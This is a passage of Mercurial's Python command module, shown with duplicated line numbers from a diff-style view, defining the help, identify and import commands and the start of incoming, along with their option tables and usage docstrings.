3759 """show help for a given topic or a help overview
3760
3760
3761 With no arguments, print a list of commands with short help messages.
3761 With no arguments, print a list of commands with short help messages.
3762
3762
3763 Given a topic, extension, or command name, print help for that
3763 Given a topic, extension, or command name, print help for that
3764 topic.
3764 topic.
3765
3765
3766 Returns 0 if successful.
3766 Returns 0 if successful.
3767 """
3767 """
3768
3768
3769 keep = opts.get('system') or []
3769 keep = opts.get('system') or []
3770 if len(keep) == 0:
3770 if len(keep) == 0:
3771 if pycompat.sysplatform.startswith(b'win'):
3771 if pycompat.sysplatform.startswith(b'win'):
3772 keep.append(b'windows')
3772 keep.append(b'windows')
3773 elif pycompat.sysplatform == b'OpenVMS':
3773 elif pycompat.sysplatform == b'OpenVMS':
3774 keep.append(b'vms')
3774 keep.append(b'vms')
3775 elif pycompat.sysplatform == b'plan9':
3775 elif pycompat.sysplatform == b'plan9':
3776 keep.append(b'plan9')
3776 keep.append(b'plan9')
3777 else:
3777 else:
3778 keep.append(b'unix')
3778 keep.append(b'unix')
3779 keep.append(pycompat.sysplatform.lower())
3779 keep.append(pycompat.sysplatform.lower())
3780 if ui.verbose:
3780 if ui.verbose:
3781 keep.append(b'verbose')
3781 keep.append(b'verbose')
3782
3782
3783 commands = sys.modules[__name__]
3783 commands = sys.modules[__name__]
3784 formatted = help.formattedhelp(ui, commands, name, keep=keep, **opts)
3784 formatted = help.formattedhelp(ui, commands, name, keep=keep, **opts)
3785 ui.pager(b'help')
3785 ui.pager(b'help')
3786 ui.write(formatted)
3786 ui.write(formatted)
3787
3787
3788
3788
3789 @command(
3789 @command(
3790 b'identify|id',
3790 b'identify|id',
3791 [
3791 [
3792 (b'r', b'rev', b'', _(b'identify the specified revision'), _(b'REV')),
3792 (b'r', b'rev', b'', _(b'identify the specified revision'), _(b'REV')),
3793 (b'n', b'num', None, _(b'show local revision number')),
3793 (b'n', b'num', None, _(b'show local revision number')),
3794 (b'i', b'id', None, _(b'show global revision id')),
3794 (b'i', b'id', None, _(b'show global revision id')),
3795 (b'b', b'branch', None, _(b'show branch')),
3795 (b'b', b'branch', None, _(b'show branch')),
3796 (b't', b'tags', None, _(b'show tags')),
3796 (b't', b'tags', None, _(b'show tags')),
3797 (b'B', b'bookmarks', None, _(b'show bookmarks')),
3797 (b'B', b'bookmarks', None, _(b'show bookmarks')),
3798 ]
3798 ]
3799 + remoteopts
3799 + remoteopts
3800 + formatteropts,
3800 + formatteropts,
3801 _(b'[-nibtB] [-r REV] [SOURCE]'),
3801 _(b'[-nibtB] [-r REV] [SOURCE]'),
3802 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3802 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3803 optionalrepo=True,
3803 optionalrepo=True,
3804 intents={INTENT_READONLY},
3804 intents={INTENT_READONLY},
3805 )
3805 )
3806 def identify(
3806 def identify(
3807 ui,
3807 ui,
3808 repo,
3808 repo,
3809 source=None,
3809 source=None,
3810 rev=None,
3810 rev=None,
3811 num=None,
3811 num=None,
3812 id=None,
3812 id=None,
3813 branch=None,
3813 branch=None,
3814 tags=None,
3814 tags=None,
3815 bookmarks=None,
3815 bookmarks=None,
3816 **opts
3816 **opts
3817 ):
3817 ):
3818 """identify the working directory or specified revision
3818 """identify the working directory or specified revision
3819
3819
3820 Print a summary identifying the repository state at REV using one or
3820 Print a summary identifying the repository state at REV using one or
3821 two parent hash identifiers, followed by a "+" if the working
3821 two parent hash identifiers, followed by a "+" if the working
3822 directory has uncommitted changes, the branch name (if not default),
3822 directory has uncommitted changes, the branch name (if not default),
3823 a list of tags, and a list of bookmarks.
3823 a list of tags, and a list of bookmarks.
3824
3824
3825 When REV is not given, print a summary of the current state of the
3825 When REV is not given, print a summary of the current state of the
3826 repository including the working directory. Specify -r. to get information
3826 repository including the working directory. Specify -r. to get information
3827 of the working directory parent without scanning uncommitted changes.
3827 of the working directory parent without scanning uncommitted changes.
3828
3828
3829 Specifying a path to a repository root or Mercurial bundle will
3829 Specifying a path to a repository root or Mercurial bundle will
3830 cause lookup to operate on that repository/bundle.
3830 cause lookup to operate on that repository/bundle.
3831
3831
3832 .. container:: verbose
3832 .. container:: verbose
3833
3833
3834 Template:
3834 Template:
3835
3835
3836 The following keywords are supported in addition to the common template
3836 The following keywords are supported in addition to the common template
3837 keywords and functions. See also :hg:`help templates`.
3837 keywords and functions. See also :hg:`help templates`.
3838
3838
3839 :dirty: String. Character ``+`` denoting if the working directory has
3839 :dirty: String. Character ``+`` denoting if the working directory has
3840 uncommitted changes.
3840 uncommitted changes.
3841 :id: String. One or two nodes, optionally followed by ``+``.
3841 :id: String. One or two nodes, optionally followed by ``+``.
3842 :parents: List of strings. Parent nodes of the changeset.
3842 :parents: List of strings. Parent nodes of the changeset.
3843
3843
3844 Examples:
3844 Examples:
3845
3845
3846 - generate a build identifier for the working directory::
3846 - generate a build identifier for the working directory::
3847
3847
3848 hg id --id > build-id.dat
3848 hg id --id > build-id.dat
3849
3849
3850 - find the revision corresponding to a tag::
3850 - find the revision corresponding to a tag::
3851
3851
3852 hg id -n -r 1.3
3852 hg id -n -r 1.3
3853
3853
3854 - check the most recent revision of a remote repository::
3854 - check the most recent revision of a remote repository::
3855
3855
3856 hg id -r tip https://www.mercurial-scm.org/repo/hg/
3856 hg id -r tip https://www.mercurial-scm.org/repo/hg/
3857
3857
3858 See :hg:`log` for generating more information about specific revisions,
3858 See :hg:`log` for generating more information about specific revisions,
3859 including full hash identifiers.
3859 including full hash identifiers.
3860
3860
3861 Returns 0 if successful.
3861 Returns 0 if successful.
3862 """
3862 """
3863
3863
3864 opts = pycompat.byteskwargs(opts)
3864 opts = pycompat.byteskwargs(opts)
3865 if not repo and not source:
3865 if not repo and not source:
3866 raise error.InputError(
3866 raise error.InputError(
3867 _(b"there is no Mercurial repository here (.hg not found)")
3867 _(b"there is no Mercurial repository here (.hg not found)")
3868 )
3868 )
3869
3869
3870 default = not (num or id or branch or tags or bookmarks)
3870 default = not (num or id or branch or tags or bookmarks)
3871 output = []
3871 output = []
3872 revs = []
3872 revs = []
3873
3873
3874 peer = None
3874 peer = None
3875 try:
3875 try:
3876 if source:
3876 if source:
3877 source, branches = urlutil.get_unique_pull_path(
3877 source, branches = urlutil.get_unique_pull_path(
3878 b'identify', repo, ui, source
3878 b'identify', repo, ui, source
3879 )
3879 )
3880 # only pass ui when no repo
3880 # only pass ui when no repo
3881 peer = hg.peer(repo or ui, opts, source)
3881 peer = hg.peer(repo or ui, opts, source)
3882 repo = peer.local()
3882 repo = peer.local()
3883 revs, checkout = hg.addbranchrevs(repo, peer, branches, None)
3883 revs, checkout = hg.addbranchrevs(repo, peer, branches, None)
3884
3884
3885 fm = ui.formatter(b'identify', opts)
3885 fm = ui.formatter(b'identify', opts)
3886 fm.startitem()
3886 fm.startitem()
3887
3887
3888 if not repo:
3888 if not repo:
3889 if num or branch or tags:
3889 if num or branch or tags:
3890 raise error.InputError(
3890 raise error.InputError(
3891 _(b"can't query remote revision number, branch, or tags")
3891 _(b"can't query remote revision number, branch, or tags")
3892 )
3892 )
3893 if not rev and revs:
3893 if not rev and revs:
3894 rev = revs[0]
3894 rev = revs[0]
3895 if not rev:
3895 if not rev:
3896 rev = b"tip"
3896 rev = b"tip"
3897
3897
3898 remoterev = peer.lookup(rev)
3898 remoterev = peer.lookup(rev)
3899 hexrev = fm.hexfunc(remoterev)
3899 hexrev = fm.hexfunc(remoterev)
3900 if default or id:
3900 if default or id:
3901 output = [hexrev]
3901 output = [hexrev]
3902 fm.data(id=hexrev)
3902 fm.data(id=hexrev)
3903
3903
3904 @util.cachefunc
3904 @util.cachefunc
3905 def getbms():
3905 def getbms():
3906 bms = []
3906 bms = []
3907
3907
3908 if b'bookmarks' in peer.listkeys(b'namespaces'):
3908 if b'bookmarks' in peer.listkeys(b'namespaces'):
3909 hexremoterev = hex(remoterev)
3909 hexremoterev = hex(remoterev)
3910 bms = [
3910 bms = [
3911 bm
3911 bm
3912 for bm, bmr in pycompat.iteritems(
3912 for bm, bmr in pycompat.iteritems(
3913 peer.listkeys(b'bookmarks')
3913 peer.listkeys(b'bookmarks')
3914 )
3914 )
3915 if bmr == hexremoterev
3915 if bmr == hexremoterev
3916 ]
3916 ]
3917
3917
3918 return sorted(bms)
3918 return sorted(bms)
3919
3919
3920 if fm.isplain():
3920 if fm.isplain():
3921 if bookmarks:
3921 if bookmarks:
3922 output.extend(getbms())
3922 output.extend(getbms())
3923 elif default and not ui.quiet:
3923 elif default and not ui.quiet:
3924 # multiple bookmarks for a single parent separated by '/'
3924 # multiple bookmarks for a single parent separated by '/'
3925 bm = b'/'.join(getbms())
3925 bm = b'/'.join(getbms())
3926 if bm:
3926 if bm:
3927 output.append(bm)
3927 output.append(bm)
3928 else:
3928 else:
3929 fm.data(node=hex(remoterev))
3929 fm.data(node=hex(remoterev))
3930 if bookmarks or b'bookmarks' in fm.datahint():
3930 if bookmarks or b'bookmarks' in fm.datahint():
3931 fm.data(bookmarks=fm.formatlist(getbms(), name=b'bookmark'))
3931 fm.data(bookmarks=fm.formatlist(getbms(), name=b'bookmark'))
3932 else:
3932 else:
3933 if rev:
3933 if rev:
3934 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3934 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3935 ctx = logcmdutil.revsingle(repo, rev, None)
3935 ctx = logcmdutil.revsingle(repo, rev, None)
3936
3936
3937 if ctx.rev() is None:
3937 if ctx.rev() is None:
3938 ctx = repo[None]
3938 ctx = repo[None]
3939 parents = ctx.parents()
3939 parents = ctx.parents()
3940 taglist = []
3940 taglist = []
3941 for p in parents:
3941 for p in parents:
3942 taglist.extend(p.tags())
3942 taglist.extend(p.tags())
3943
3943
3944 dirty = b""
3944 dirty = b""
3945 if ctx.dirty(missing=True, merge=False, branch=False):
3945 if ctx.dirty(missing=True, merge=False, branch=False):
3946 dirty = b'+'
3946 dirty = b'+'
3947 fm.data(dirty=dirty)
3947 fm.data(dirty=dirty)
3948
3948
3949 hexoutput = [fm.hexfunc(p.node()) for p in parents]
3949 hexoutput = [fm.hexfunc(p.node()) for p in parents]
3950 if default or id:
3950 if default or id:
3951 output = [b"%s%s" % (b'+'.join(hexoutput), dirty)]
3951 output = [b"%s%s" % (b'+'.join(hexoutput), dirty)]
3952 fm.data(id=b"%s%s" % (b'+'.join(hexoutput), dirty))
3952 fm.data(id=b"%s%s" % (b'+'.join(hexoutput), dirty))
3953
3953
3954 if num:
3954 if num:
3955 numoutput = [b"%d" % p.rev() for p in parents]
3955 numoutput = [b"%d" % p.rev() for p in parents]
3956 output.append(b"%s%s" % (b'+'.join(numoutput), dirty))
3956 output.append(b"%s%s" % (b'+'.join(numoutput), dirty))
3957
3957
3958 fm.data(
3958 fm.data(
3959 parents=fm.formatlist(
3959 parents=fm.formatlist(
3960 [fm.hexfunc(p.node()) for p in parents], name=b'node'
3960 [fm.hexfunc(p.node()) for p in parents], name=b'node'
3961 )
3961 )
3962 )
3962 )
3963 else:
3963 else:
3964 hexoutput = fm.hexfunc(ctx.node())
3964 hexoutput = fm.hexfunc(ctx.node())
3965 if default or id:
3965 if default or id:
3966 output = [hexoutput]
3966 output = [hexoutput]
3967 fm.data(id=hexoutput)
3967 fm.data(id=hexoutput)
3968
3968
3969 if num:
3969 if num:
3970 output.append(pycompat.bytestr(ctx.rev()))
3970 output.append(pycompat.bytestr(ctx.rev()))
3971 taglist = ctx.tags()
3971 taglist = ctx.tags()
3972
3972
3973 if default and not ui.quiet:
3973 if default and not ui.quiet:
3974 b = ctx.branch()
3974 b = ctx.branch()
3975 if b != b'default':
3975 if b != b'default':
3976 output.append(b"(%s)" % b)
3976 output.append(b"(%s)" % b)
3977
3977
3978 # multiple tags for a single parent separated by '/'
3978 # multiple tags for a single parent separated by '/'
3979 t = b'/'.join(taglist)
3979 t = b'/'.join(taglist)
3980 if t:
3980 if t:
3981 output.append(t)
3981 output.append(t)
3982
3982
3983 # multiple bookmarks for a single parent separated by '/'
3983 # multiple bookmarks for a single parent separated by '/'
3984 bm = b'/'.join(ctx.bookmarks())
3984 bm = b'/'.join(ctx.bookmarks())
3985 if bm:
3985 if bm:
3986 output.append(bm)
3986 output.append(bm)
3987 else:
3987 else:
3988 if branch:
3988 if branch:
3989 output.append(ctx.branch())
3989 output.append(ctx.branch())
3990
3990
3991 if tags:
3991 if tags:
3992 output.extend(taglist)
3992 output.extend(taglist)
3993
3993
3994 if bookmarks:
3994 if bookmarks:
3995 output.extend(ctx.bookmarks())
3995 output.extend(ctx.bookmarks())
3996
3996
3997 fm.data(node=ctx.hex())
3997 fm.data(node=ctx.hex())
3998 fm.data(branch=ctx.branch())
3998 fm.data(branch=ctx.branch())
3999 fm.data(tags=fm.formatlist(taglist, name=b'tag', sep=b':'))
3999 fm.data(tags=fm.formatlist(taglist, name=b'tag', sep=b':'))
4000 fm.data(bookmarks=fm.formatlist(ctx.bookmarks(), name=b'bookmark'))
4000 fm.data(bookmarks=fm.formatlist(ctx.bookmarks(), name=b'bookmark'))
4001 fm.context(ctx=ctx)
4001 fm.context(ctx=ctx)
4002
4002
4003 fm.plain(b"%s\n" % b' '.join(output))
4003 fm.plain(b"%s\n" % b' '.join(output))
4004 fm.end()
4004 fm.end()
4005 finally:
4005 finally:
4006 if peer:
4006 if peer:
4007 peer.close()
4007 peer.close()
4008
4008
4009
4009
4010 @command(
4010 @command(
4011 b'import|patch',
4011 b'import|patch',
4012 [
4012 [
4013 (
4013 (
4014 b'p',
4014 b'p',
4015 b'strip',
4015 b'strip',
4016 1,
4016 1,
4017 _(
4017 _(
4018 b'directory strip option for patch. This has the same '
4018 b'directory strip option for patch. This has the same '
4019 b'meaning as the corresponding patch option'
4019 b'meaning as the corresponding patch option'
4020 ),
4020 ),
4021 _(b'NUM'),
4021 _(b'NUM'),
4022 ),
4022 ),
4023 (b'b', b'base', b'', _(b'base path (DEPRECATED)'), _(b'PATH')),
4023 (b'b', b'base', b'', _(b'base path (DEPRECATED)'), _(b'PATH')),
4024 (b'', b'secret', None, _(b'use the secret phase for committing')),
4024 (b'', b'secret', None, _(b'use the secret phase for committing')),
4025 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
4025 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
4026 (
4026 (
4027 b'f',
4027 b'f',
4028 b'force',
4028 b'force',
4029 None,
4029 None,
4030 _(b'skip check for outstanding uncommitted changes (DEPRECATED)'),
4030 _(b'skip check for outstanding uncommitted changes (DEPRECATED)'),
4031 ),
4031 ),
4032 (
4032 (
4033 b'',
4033 b'',
4034 b'no-commit',
4034 b'no-commit',
4035 None,
4035 None,
4036 _(b"don't commit, just update the working directory"),
4036 _(b"don't commit, just update the working directory"),
4037 ),
4037 ),
4038 (
4038 (
4039 b'',
4039 b'',
4040 b'bypass',
4040 b'bypass',
4041 None,
4041 None,
4042 _(b"apply patch without touching the working directory"),
4042 _(b"apply patch without touching the working directory"),
4043 ),
4043 ),
4044 (b'', b'partial', None, _(b'commit even if some hunks fail')),
4044 (b'', b'partial', None, _(b'commit even if some hunks fail')),
4045 (b'', b'exact', None, _(b'abort if patch would apply lossily')),
4045 (b'', b'exact', None, _(b'abort if patch would apply lossily')),
4046 (b'', b'prefix', b'', _(b'apply patch to subdirectory'), _(b'DIR')),
4046 (b'', b'prefix', b'', _(b'apply patch to subdirectory'), _(b'DIR')),
4047 (
4047 (
4048 b'',
4048 b'',
4049 b'import-branch',
4049 b'import-branch',
4050 None,
4050 None,
4051 _(b'use any branch information in patch (implied by --exact)'),
4051 _(b'use any branch information in patch (implied by --exact)'),
4052 ),
4052 ),
4053 ]
4053 ]
4054 + commitopts
4054 + commitopts
4055 + commitopts2
4055 + commitopts2
4056 + similarityopts,
4056 + similarityopts,
4057 _(b'[OPTION]... PATCH...'),
4057 _(b'[OPTION]... PATCH...'),
4058 helpcategory=command.CATEGORY_IMPORT_EXPORT,
4058 helpcategory=command.CATEGORY_IMPORT_EXPORT,
4059 )
4059 )
4060 def import_(ui, repo, patch1=None, *patches, **opts):
4060 def import_(ui, repo, patch1=None, *patches, **opts):
4061 """import an ordered set of patches
4061 """import an ordered set of patches
4062
4062
4063 Import a list of patches and commit them individually (unless
4063 Import a list of patches and commit them individually (unless
4064 --no-commit is specified).
4064 --no-commit is specified).
4065
4065
4066 To read a patch from standard input (stdin), use "-" as the patch
4066 To read a patch from standard input (stdin), use "-" as the patch
4067 name. If a URL is specified, the patch will be downloaded from
4067 name. If a URL is specified, the patch will be downloaded from
4068 there.
4068 there.
4069
4069
4070 Import first applies changes to the working directory (unless
4070 Import first applies changes to the working directory (unless
4071 --bypass is specified), import will abort if there are outstanding
4071 --bypass is specified), import will abort if there are outstanding
4072 changes.
4072 changes.
4073
4073
4074 Use --bypass to apply and commit patches directly to the
4074 Use --bypass to apply and commit patches directly to the
4075 repository, without affecting the working directory. Without
4075 repository, without affecting the working directory. Without
4076 --exact, patches will be applied on top of the working directory
4076 --exact, patches will be applied on top of the working directory
4077 parent revision.
4077 parent revision.
4078
4078
4079 You can import a patch straight from a mail message. Even patches
4079 You can import a patch straight from a mail message. Even patches
4080 as attachments work (to use the body part, it must have type
4080 as attachments work (to use the body part, it must have type
4081 text/plain or text/x-patch). From and Subject headers of email
4081 text/plain or text/x-patch). From and Subject headers of email
4082 message are used as default committer and commit message. All
4082 message are used as default committer and commit message. All
4083 text/plain body parts before first diff are added to the commit
4083 text/plain body parts before first diff are added to the commit
4084 message.
4084 message.
4085
4085
4086 If the imported patch was generated by :hg:`export`, user and
4086 If the imported patch was generated by :hg:`export`, user and
4087 description from patch override values from message headers and
4087 description from patch override values from message headers and
4088 body. Values given on command line with -m/--message and -u/--user
4088 body. Values given on command line with -m/--message and -u/--user
4089 override these.
4089 override these.
4090
4090
4091 If --exact is specified, import will set the working directory to
4091 If --exact is specified, import will set the working directory to
4092 the parent of each patch before applying it, and will abort if the
4092 the parent of each patch before applying it, and will abort if the
4093 resulting changeset has a different ID than the one recorded in
4093 resulting changeset has a different ID than the one recorded in
4094 the patch. This will guard against various ways that portable
4094 the patch. This will guard against various ways that portable
4095 patch formats and mail systems might fail to transfer Mercurial
4095 patch formats and mail systems might fail to transfer Mercurial
4096 data or metadata. See :hg:`bundle` for lossless transmission.
4096 data or metadata. See :hg:`bundle` for lossless transmission.
4097
4097
4098 Use --partial to ensure a changeset will be created from the patch
4098 Use --partial to ensure a changeset will be created from the patch
4099 even if some hunks fail to apply. Hunks that fail to apply will be
4099 even if some hunks fail to apply. Hunks that fail to apply will be
4100 written to a <target-file>.rej file. Conflicts can then be resolved
4100 written to a <target-file>.rej file. Conflicts can then be resolved
4101 by hand before :hg:`commit --amend` is run to update the created
4101 by hand before :hg:`commit --amend` is run to update the created
4102 changeset. This flag exists to let people import patches that
4102 changeset. This flag exists to let people import patches that
4103 partially apply without losing the associated metadata (author,
4103 partially apply without losing the associated metadata (author,
4104 date, description, ...).
4104 date, description, ...).
4105
4105
4106 .. note::
4106 .. note::
4107
4107
4108 When no hunks apply cleanly, :hg:`import --partial` will create
4108 When no hunks apply cleanly, :hg:`import --partial` will create
4109 an empty changeset, importing only the patch metadata.
4109 an empty changeset, importing only the patch metadata.
4110
4110
4111 With -s/--similarity, hg will attempt to discover renames and
4111 With -s/--similarity, hg will attempt to discover renames and
4112 copies in the patch in the same way as :hg:`addremove`.
4112 copies in the patch in the same way as :hg:`addremove`.
4113
4113
4114 It is possible to use external patch programs to perform the patch
4114 It is possible to use external patch programs to perform the patch
4115 by setting the ``ui.patch`` configuration option. For the default
4115 by setting the ``ui.patch`` configuration option. For the default
4116 internal tool, the fuzz can also be configured via ``patch.fuzz``.
4116 internal tool, the fuzz can also be configured via ``patch.fuzz``.
4117 See :hg:`help config` for more information about configuration
4117 See :hg:`help config` for more information about configuration
4118 files and how to use these options.
4118 files and how to use these options.
4119
4119
4120 See :hg:`help dates` for a list of formats valid for -d/--date.
4120 See :hg:`help dates` for a list of formats valid for -d/--date.
4121
4121
4122 .. container:: verbose
4122 .. container:: verbose
4123
4123
4124 Examples:
4124 Examples:
4125
4125
4126 - import a traditional patch from a website and detect renames::
4126 - import a traditional patch from a website and detect renames::
4127
4127
4128 hg import -s 80 http://example.com/bugfix.patch
4128 hg import -s 80 http://example.com/bugfix.patch
4129
4129
4130 - import a changeset from an hgweb server::
4130 - import a changeset from an hgweb server::
4131
4131
4132 hg import https://www.mercurial-scm.org/repo/hg/rev/5ca8c111e9aa
4132 hg import https://www.mercurial-scm.org/repo/hg/rev/5ca8c111e9aa
4133
4133
4134 - import all the patches in an Unix-style mbox::
4134 - import all the patches in an Unix-style mbox::
4135
4135
4136 hg import incoming-patches.mbox
4136 hg import incoming-patches.mbox
4137
4137
4138 - import patches from stdin::
4138 - import patches from stdin::
4139
4139
4140 hg import -
4140 hg import -
4141
4141
4142 - attempt to exactly restore an exported changeset (not always
4142 - attempt to exactly restore an exported changeset (not always
4143 possible)::
4143 possible)::
4144
4144
4145 hg import --exact proposed-fix.patch
4145 hg import --exact proposed-fix.patch
4146
4146
4147 - use an external tool to apply a patch which is too fuzzy for
4147 - use an external tool to apply a patch which is too fuzzy for
4148 the default internal tool.
4148 the default internal tool.
4149
4149
4150 hg import --config ui.patch="patch --merge" fuzzy.patch
4150 hg import --config ui.patch="patch --merge" fuzzy.patch
4151
4151
4152 - change the default fuzzing from 2 to a less strict 7
4152 - change the default fuzzing from 2 to a less strict 7
4153
4153
4154 hg import --config ui.fuzz=7 fuzz.patch
4154 hg import --config ui.fuzz=7 fuzz.patch
4155
4155
4156 Returns 0 on success, 1 on partial success (see --partial).
4156 Returns 0 on success, 1 on partial success (see --partial).
4157 """
4157 """
4158
4158
4159 cmdutil.check_incompatible_arguments(
4159 cmdutil.check_incompatible_arguments(
4160 opts, 'no_commit', ['bypass', 'secret']
4160 opts, 'no_commit', ['bypass', 'secret']
4161 )
4161 )
4162 cmdutil.check_incompatible_arguments(opts, 'exact', ['edit', 'prefix'])
4162 cmdutil.check_incompatible_arguments(opts, 'exact', ['edit', 'prefix'])
4163 opts = pycompat.byteskwargs(opts)
4163 opts = pycompat.byteskwargs(opts)
4164 if not patch1:
4164 if not patch1:
4165 raise error.InputError(_(b'need at least one patch to import'))
4165 raise error.InputError(_(b'need at least one patch to import'))
4166
4166
4167 patches = (patch1,) + patches
4167 patches = (patch1,) + patches
4168
4168
4169 date = opts.get(b'date')
4169 date = opts.get(b'date')
4170 if date:
4170 if date:
4171 opts[b'date'] = dateutil.parsedate(date)
4171 opts[b'date'] = dateutil.parsedate(date)
4172
4172
4173 exact = opts.get(b'exact')
4173 exact = opts.get(b'exact')
4174 update = not opts.get(b'bypass')
4174 update = not opts.get(b'bypass')
4175 try:
4175 try:
4176 sim = float(opts.get(b'similarity') or 0)
4176 sim = float(opts.get(b'similarity') or 0)
4177 except ValueError:
4177 except ValueError:
4178 raise error.InputError(_(b'similarity must be a number'))
4178 raise error.InputError(_(b'similarity must be a number'))
4179 if sim < 0 or sim > 100:
4179 if sim < 0 or sim > 100:
4180 raise error.InputError(_(b'similarity must be between 0 and 100'))
4180 raise error.InputError(_(b'similarity must be between 0 and 100'))
4181 if sim and not update:
4181 if sim and not update:
4182 raise error.InputError(_(b'cannot use --similarity with --bypass'))
4182 raise error.InputError(_(b'cannot use --similarity with --bypass'))
4183
4183
4184 base = opts[b"base"]
4184 base = opts[b"base"]
4185 msgs = []
4185 msgs = []
4186 ret = 0
4186 ret = 0
4187
4187
4188 with repo.wlock():
4188 with repo.wlock():
4189 if update:
4189 if update:
4190 cmdutil.checkunfinished(repo)
4190 cmdutil.checkunfinished(repo)
4191 if exact or not opts.get(b'force'):
4191 if exact or not opts.get(b'force'):
4192 cmdutil.bailifchanged(repo)
4192 cmdutil.bailifchanged(repo)
4193
4193
4194 if not opts.get(b'no_commit'):
4194 if not opts.get(b'no_commit'):
4195 lock = repo.lock
4195 lock = repo.lock
4196 tr = lambda: repo.transaction(b'import')
4196 tr = lambda: repo.transaction(b'import')
4197 dsguard = util.nullcontextmanager
4197 dsguard = util.nullcontextmanager
4198 else:
4198 else:
4199 lock = util.nullcontextmanager
4199 lock = util.nullcontextmanager
4200 tr = util.nullcontextmanager
4200 tr = util.nullcontextmanager
4201 dsguard = lambda: dirstateguard.dirstateguard(repo, b'import')
4201 dsguard = lambda: dirstateguard.dirstateguard(repo, b'import')
4202 with lock(), tr(), dsguard():
4202 with lock(), tr(), dsguard():
4203 parents = repo[None].parents()
4203 parents = repo[None].parents()
4204 for patchurl in patches:
4204 for patchurl in patches:
4205 if patchurl == b'-':
4205 if patchurl == b'-':
4206 ui.status(_(b'applying patch from stdin\n'))
4206 ui.status(_(b'applying patch from stdin\n'))
4207 patchfile = ui.fin
4207 patchfile = ui.fin
4208 patchurl = b'stdin' # for error message
4208 patchurl = b'stdin' # for error message
4209 else:
4209 else:
4210 patchurl = os.path.join(base, patchurl)
4210 patchurl = os.path.join(base, patchurl)
4211 ui.status(_(b'applying %s\n') % patchurl)
4211 ui.status(_(b'applying %s\n') % patchurl)
4212 patchfile = hg.openpath(ui, patchurl, sendaccept=False)
4212 patchfile = hg.openpath(ui, patchurl, sendaccept=False)
4213
4213
4214 haspatch = False
4214 haspatch = False
4215 for hunk in patch.split(patchfile):
4215 for hunk in patch.split(patchfile):
4216 with patch.extract(ui, hunk) as patchdata:
4216 with patch.extract(ui, hunk) as patchdata:
4217 msg, node, rej = cmdutil.tryimportone(
4217 msg, node, rej = cmdutil.tryimportone(
4218 ui, repo, patchdata, parents, opts, msgs, hg.clean
4218 ui, repo, patchdata, parents, opts, msgs, hg.clean
4219 )
4219 )
4220 if msg:
4220 if msg:
4221 haspatch = True
4221 haspatch = True
4222 ui.note(msg + b'\n')
4222 ui.note(msg + b'\n')
4223 if update or exact:
4223 if update or exact:
4224 parents = repo[None].parents()
4224 parents = repo[None].parents()
4225 else:
4225 else:
4226 parents = [repo[node]]
4226 parents = [repo[node]]
4227 if rej:
4227 if rej:
4228 ui.write_err(_(b"patch applied partially\n"))
4228 ui.write_err(_(b"patch applied partially\n"))
4229 ui.write_err(
4229 ui.write_err(
4230 _(
4230 _(
4231 b"(fix the .rej files and run "
4231 b"(fix the .rej files and run "
4232 b"`hg commit --amend`)\n"
4232 b"`hg commit --amend`)\n"
4233 )
4233 )
4234 )
4234 )
4235 ret = 1
4235 ret = 1
4236 break
4236 break
4237
4237
4238 if not haspatch:
4238 if not haspatch:
4239 raise error.InputError(_(b'%s: no diffs found') % patchurl)
4239 raise error.InputError(_(b'%s: no diffs found') % patchurl)
4240
4240
4241 if msgs:
4241 if msgs:
4242 repo.savecommitmessage(b'\n* * *\n'.join(msgs))
4242 repo.savecommitmessage(b'\n* * *\n'.join(msgs))
4243 return ret
4243 return ret
4244
4244
4245
4245
4246 @command(
4246 @command(
4247 b'incoming|in',
4247 b'incoming|in',
4248 [
4248 [
4249 (
4249 (
4250 b'f',
4250 b'f',
4251 b'force',
4251 b'force',
4252 None,
4252 None,
4253 _(b'run even if remote repository is unrelated'),
4253 _(b'run even if remote repository is unrelated'),
4254 ),
4254 ),
4255 (b'n', b'newest-first', None, _(b'show newest record first')),
4255 (b'n', b'newest-first', None, _(b'show newest record first')),
4256 (b'', b'bundle', b'', _(b'file to store the bundles into'), _(b'FILE')),
4256 (b'', b'bundle', b'', _(b'file to store the bundles into'), _(b'FILE')),
4257 (
4257 (
4258 b'r',
4258 b'r',
4259 b'rev',
4259 b'rev',
4260 [],
4260 [],
4261 _(b'a remote changeset intended to be added'),
4261 _(b'a remote changeset intended to be added'),
4262 _(b'REV'),
4262 _(b'REV'),
4263 ),
4263 ),
4264 (b'B', b'bookmarks', False, _(b"compare bookmarks")),
4264 (b'B', b'bookmarks', False, _(b"compare bookmarks")),
4265 (
4265 (
4266 b'b',
4266 b'b',
4267 b'branch',
4267 b'branch',
4268 [],
4268 [],
4269 _(b'a specific branch you would like to pull'),
4269 _(b'a specific branch you would like to pull'),
4270 _(b'BRANCH'),
4270 _(b'BRANCH'),
4271 ),
4271 ),
4272 ]
4272 ]
4273 + logopts
4273 + logopts
4274 + remoteopts
4274 + remoteopts
4275 + subrepoopts,
4275 + subrepoopts,
4276 _(b'[-p] [-n] [-M] [-f] [-r REV]... [--bundle FILENAME] [SOURCE]'),
4276 _(b'[-p] [-n] [-M] [-f] [-r REV]... [--bundle FILENAME] [SOURCE]'),
4277 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4277 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4278 )
4278 )
4279 def incoming(ui, repo, source=b"default", **opts):
4279 def incoming(ui, repo, source=b"default", **opts):
4280 """show new changesets found in source
4280 """show new changesets found in source
4281
4281
4282 Show new changesets found in the specified path/URL or the default
4282 Show new changesets found in the specified path/URL or the default
4283 pull location. These are the changesets that would have been pulled
4283 pull location. These are the changesets that would have been pulled
4284 by :hg:`pull` at the time you issued this command.
4284 by :hg:`pull` at the time you issued this command.
4285
4285
4286 See pull for valid source format details.
4286 See pull for valid source format details.
4287
4287
4288 .. container:: verbose
4288 .. container:: verbose
4289
4289
4290 With -B/--bookmarks, the result of bookmark comparison between
4290 With -B/--bookmarks, the result of bookmark comparison between
4291 local and remote repositories is displayed. With -v/--verbose,
4291 local and remote repositories is displayed. With -v/--verbose,
4292 status is also displayed for each bookmark like below::
4292 status is also displayed for each bookmark like below::
4293
4293
4294 BM1 01234567890a added
4294 BM1 01234567890a added
4295 BM2 1234567890ab advanced
4295 BM2 1234567890ab advanced
4296 BM3 234567890abc diverged
4296 BM3 234567890abc diverged
4297 BM4 34567890abcd changed
4297 BM4 34567890abcd changed
4298
